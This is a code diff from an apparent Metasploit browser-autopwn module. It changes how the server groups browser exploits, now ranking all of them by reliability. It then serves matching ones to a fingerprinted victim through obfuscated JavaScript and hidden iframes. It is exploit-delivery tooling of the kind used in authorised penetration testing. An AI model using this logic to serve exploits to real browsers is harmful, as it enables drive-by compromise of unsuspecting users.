@@ -385,8 +385,8 @@ def init_exploit(name, mod = nil, targ = 0)
385
385
def start_exploit_modules ( )
386
386
@lhost = ( datastore [ 'LHOST' ] || "0.0.0.0" )
387
387
388
- @js_tests = { }
389
388
@noscript_tests = { }
389
+ @all_tests = { }
390
390
391
391
print_line
392
392
print_status ( "Starting exploit modules on host #{ @lhost } ..." )
@@ -446,20 +446,24 @@ def start_exploit_modules()
446
446
end
447
447
448
448
# Now that we've got all of our exploit tests put together,
449
- # organize them into requires-scripting and
450
- # doesnt-require-scripting, sorted by browser name.
449
+ # organize them into an all tests (JS and no-JS), organized by rank,
450
+ # and doesnt-require-scripting (no-JS), organized by browser name.
451
451
if apo [ :javascript ] && apo [ :ua_name ]
452
- @js_tests [ apo [ :ua_name ] ] ||= [ ]
453
- @js_tests [ apo [ :ua_name ] ] . push ( apo )
452
+ @all_tests [ apo [ :rank ] ] ||= [ ]
453
+ @all_tests [ apo [ :rank ] ] . push ( apo )
454
454
elsif apo [ :javascript ]
455
- @js_tests [ "generic" ] ||= [ ]
456
- @js_tests [ "generic" ] . push ( apo )
455
+ @all_tests [ apo [ :rank ] ] ||= [ ]
456
+ @all_tests [ apo [ :rank ] ] . push ( apo )
457
457
elsif apo [ :ua_name ]
458
458
@noscript_tests [ apo [ :ua_name ] ] ||= [ ]
459
459
@noscript_tests [ apo [ :ua_name ] ] . push ( apo )
460
+ @all_tests [ apo [ :rank ] ] ||= [ ]
461
+ @all_tests [ apo [ :rank ] ] . push ( apo )
460
462
else
461
463
@noscript_tests [ "generic" ] ||= [ ]
462
464
@noscript_tests [ "generic" ] . push ( apo )
465
+ @all_tests [ apo [ :rank ] ] ||= [ ]
466
+ @all_tests [ apo [ :rank ] ] . push ( apo )
463
467
end
464
468
end
465
469
@@ -501,17 +505,15 @@ def start_exploit_modules()
501
505
print_line
502
506
503
507
# Sort the tests by reliability, descending.
504
- @js_tests . each { |browser , tests |
505
- tests . sort! { |a , b | b [ :rank ] <=> a [ :rank ] }
506
- }
507
-
508
+ # I don't like doing this directly (wihout a !), but any other sort wasn't sticking - NE
509
+ @all_tests = @all_tests . sort . reverse
510
+
508
511
# This matters a lot less for noscript exploits since they basically
509
512
# get thrown into a big pile of iframes that the browser will load
510
513
# semi-concurrently. Still, might as well.
511
514
@noscript_tests . each { |browser , tests |
512
515
tests . sort! { |a , b | b [ :rank ] <=> a [ :rank ] }
513
516
}
514
-
515
517
end
516
518
517
519
#
@@ -746,91 +748,73 @@ def build_script_response(cli, request)
746
748
# if we have no client_info, this will add all tests. Otherwise tries
747
749
# to only send tests for exploits that target the client's detected
748
750
# browser.
749
- @js_tests . each { |browser , sploits |
750
- next unless client_matches_browser ( client_info , browser )
751
-
752
- # Send all the generics regardless of what the client is. If the
753
- # client is nil, then we don't know what it really is, so just err
754
- # on the side of shells and send everything. Otherwise, send only
755
- # if the client is using the browser associated with this set of
756
- # exploits.
757
- if ( browser == "generic" || client_info . nil? || [ nil , browser ] . include? ( client_info [ :ua_name ] ) )
758
- sploits . each do |s |
759
- if s [ :vuln_test ] . nil? or s [ :vuln_test ] . empty?
760
- test = "is_vuln = true"
761
- else
762
- # get rid of newlines and escape quotes
763
- test = s [ :vuln_test ] . gsub ( "\n " , '' ) . gsub ( "'" , "\\ \\ '" )
764
- end
765
- # shouldn't be any in the resource, but just in case...
766
- res = exploit_resource ( s [ :name ] ) . gsub ( "\n " , '' ) . gsub ( "'" , "\\ \\ '" )
767
-
768
- # Skip exploits that don't match the client's OS.
769
- if ( host_info and host_info [ :os_name ] and s [ :os_name ] )
770
- # Reject exploits whose OS doesn't match that of the
771
- # victim. Note that host_info comes from javascript OS
772
- # detection, NOT the database.
773
- if host_info [ :os_name ] != "undefined"
774
- unless s [ :os_name ] . include? ( host_info [ :os_name ] )
775
- vprint_status ( "Rejecting #{ s [ :name ] } for non-matching OS" )
776
- next
751
+
752
+ @all_tests . each { |rank , sploits |
753
+ sploits . each { |s |
754
+ browser = s [ :ua_name ] || "generic"
755
+ next unless client_matches_browser ( client_info , browser )
756
+
757
+ # Send all the generics regardless of what the client is. If the
758
+ # client is nil, then we don't know what it really is, so just err
759
+ # on the side of shells and send everything. Otherwise, send only
760
+ # if the client is using the browser associated with this set of
761
+ # exploits.
762
+ if s [ :javascript ]
763
+ if ( browser == "generic" || client_info . nil? || [ nil , browser ] . include? ( client_info [ :ua_name ] ) )
764
+ if s [ :vuln_test ] . nil? or s [ :vuln_test ] . empty?
765
+ test = "is_vuln = true"
766
+ else
767
+ # get rid of newlines and escape quotes
768
+ test = s [ :vuln_test ] . gsub ( "\n " , '' ) . gsub ( "'" , "\\ \\ '" )
769
+ end
770
+ # shouldn't be any in the resource, but just in case...
771
+ res = exploit_resource ( s [ :name ] ) . gsub ( "\n " , '' ) . gsub ( "'" , "\\ \\ '" )
772
+
773
+ # Skip exploits that don't match the client's OS.
774
+ if ( host_info and host_info [ :os_name ] and s [ :os_name ] )
775
+ # Reject exploits whose OS doesn't match that of the
776
+ # victim. Note that host_info comes from javascript OS
777
+ # detection, NOT the database.
778
+ if host_info [ :os_name ] != "undefined"
779
+ unless s [ :os_name ] . include? ( host_info [ :os_name ] )
780
+ vprint_status ( "Rejecting #{ s [ :name ] } for non-matching OS" )
781
+ next
782
+ end
777
783
end
778
784
end
785
+
786
+ js << "global_exploit_list[global_exploit_list.length] = {\n "
787
+ js << " 'test':'#{ test } ',\n "
788
+ js << " 'resource':'#{ res } '\n "
789
+ js << "};\n "
790
+ sploits_for_this_client . push s [ :name ]
791
+ sploit_cnt += 1
792
+ end
793
+ else
794
+ if s [ :name ] =~ %r|/java_|
795
+ res = exploit_resource ( s [ :name ] ) . gsub ( "\n " , '' ) . gsub ( "'" , "\\ \\ '" )
796
+ js << "global_exploit_list[global_exploit_list.length] = {\n "
797
+ js << " 'test':'is_vuln = navigator.javaEnabled()',\n "
798
+ js << " 'resource':'#{ res } '\n "
799
+ js << "};\n "
800
+ else
801
+ # Some other kind of exploit that we can't generically
802
+ # check for in javascript, throw it on the pile.
803
+ noscript_html << html_for_exploit ( s , client_info )
779
804
end
780
- js << "global_exploit_list[global_exploit_list.length] = {\n "
781
- js << " 'test':'#{ test } ',\n "
782
- js << " 'resource':'#{ res } '\n "
783
- js << "};\n "
784
805
sploits_for_this_client . push s [ :name ]
785
806
sploit_cnt += 1
786
807
end
787
- end
788
- }
789
-
790
- # Add a javaEnabled() test specifically for java exploits. Other
791
- # exploits that don't require javascript go into a big pile of iframes
792
- # that will be dumped out after other exploitation is done, assuming
793
- # the browser didn't stop somewhere along the way due to a successful
794
- # exploit or a crash from all the memory raping we just did.
795
- noscript_html = ""
796
- @noscript_tests . each { |browser , sploits |
797
- sploits . each do |s |
798
- if s [ :name ] =~ %r|/java_|
799
- res = exploit_resource ( s [ :name ] ) . gsub ( "\n " , '' ) . gsub ( "'" , "\\ \\ '" )
800
- js << "global_exploit_list[global_exploit_list.length] = {\n "
801
- js << " 'test':'is_vuln = navigator.javaEnabled()',\n "
802
- js << " 'resource':'#{ res } '\n "
803
- js << "};\n "
804
- else
805
- # Some other kind of exploit that we can't generically
806
- # check for in javascript, throw it on the pile.
807
- noscript_html << html_for_exploit ( s , client_info )
808
- end
809
- sploits_for_this_client . push s [ :name ]
810
- sploit_cnt += 1
811
- end
808
+ }
812
809
}
813
810
814
- # If all of our exploits that require javascript fail, try to continue
815
- # with those that don't
816
- js << %Q|var noscript_exploits = "|
817
- js << Rex ::Text . to_hex ( noscript_html , "%" )
818
- js << %Q|";\n |
819
- js << %Q|var noscript_div = document.createElement("div");\n |
820
- # Have to use innerHTML here to render the new iframes. Using
821
- # document.createElement and appendChild() will escape all the
822
- # entities.
823
- js << %Q|noscript_div.innerHTML = unescape(noscript_exploits);\n |
824
- js << %Q|document.body.appendChild(noscript_div);\n |
825
-
826
811
js << "#{ js_debug ( "'starting exploits (' + global_exploit_list.length + ' total)<br>'" ) } \n "
827
812
js << "window.next_exploit(0);\n "
828
813
829
814
js = ::Rex ::Exploitation ::JSObfu . new ( js )
830
815
js . obfuscate unless datastore [ "DEBUG" ]
831
816
832
817
response . body = "#{ js } "
833
-
834
818
print_status ( "Responding with #{ sploit_cnt } exploits" )
835
819
sploits_for_this_client . each do |name |
836
820
vprint_status ( "* #{ name } " )
0 commit comments